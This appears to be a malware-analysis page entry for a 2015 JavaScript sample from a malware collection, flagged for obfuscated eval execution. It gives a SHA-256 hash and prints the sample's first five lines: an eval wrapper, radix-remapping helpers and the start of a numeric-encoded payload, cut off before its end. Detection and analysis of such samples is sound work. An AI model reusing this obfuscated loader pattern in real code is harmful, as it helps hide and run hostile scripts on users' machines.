Suspicious ^80% javascript-malware-collection Download

20151208_5950c851b080f6a56cbe349cb886cad4.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256ad0f09b2f7c655225170ab2c7aec5ca17694b52795689031c866d11b56cd93d1

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var lpJCYWifzrWIF=[];for(vqEfVAl=(-926+926)/971;vqEfVAl<(8751+977)/76;vqEfVAl++){lpJCYWifzrWIF[vqEfVAl]=String.fromCharCode(vqEfVAl)}function rKklf(IkmRVDwXQaQ,yqGtaYmjgYfmA,EEyNIFUv){smMm=parseInt(IkmRVDwXQaQ,yqGtaYmjgYfmA);jInUt=smMm.toString(EEyNIFUv);return jInUt;}function LvOgTSWdfbamlCX(RMdDLepfHybKYZtbu){eval(RMdDLepfHybKYZtbu)}
2function ttbacsXTRYDHymcfKrfFlZEISETEbaYmXNyhFYPtTtWTfhKhBjjAjm(NkWogHQknxuAs,yeKLoJnjtAhcin){ return lpJCYWifzrWIF[rKklf(NkWogHQknxuAs[yeKLoJnjtAhcin],(-7+977)/97,(5844+586)/643)];}
3function ASZhQaV(MBtqhJlUqRpHZBkNQcVoXLDPTTedkMPeJtwS) {return !isNaN(parseFloat(MBtqhJlUqRpHZBkNQcVoXLDPTTedkMPeJtwS)) && isFinite(MBtqhJlUqRpHZBkNQcVoXLDPTTedkMPeJtwS);}
4function DlEBomXcVip(ugjljdcA,ryvIOb){return ugjljdcA.split(ryvIOb)}
5var S=[];S.push("13");S.push("10");S.push("13");S.push("10");S.push("118");S.push("97");S.push("114");S.push("32");S. …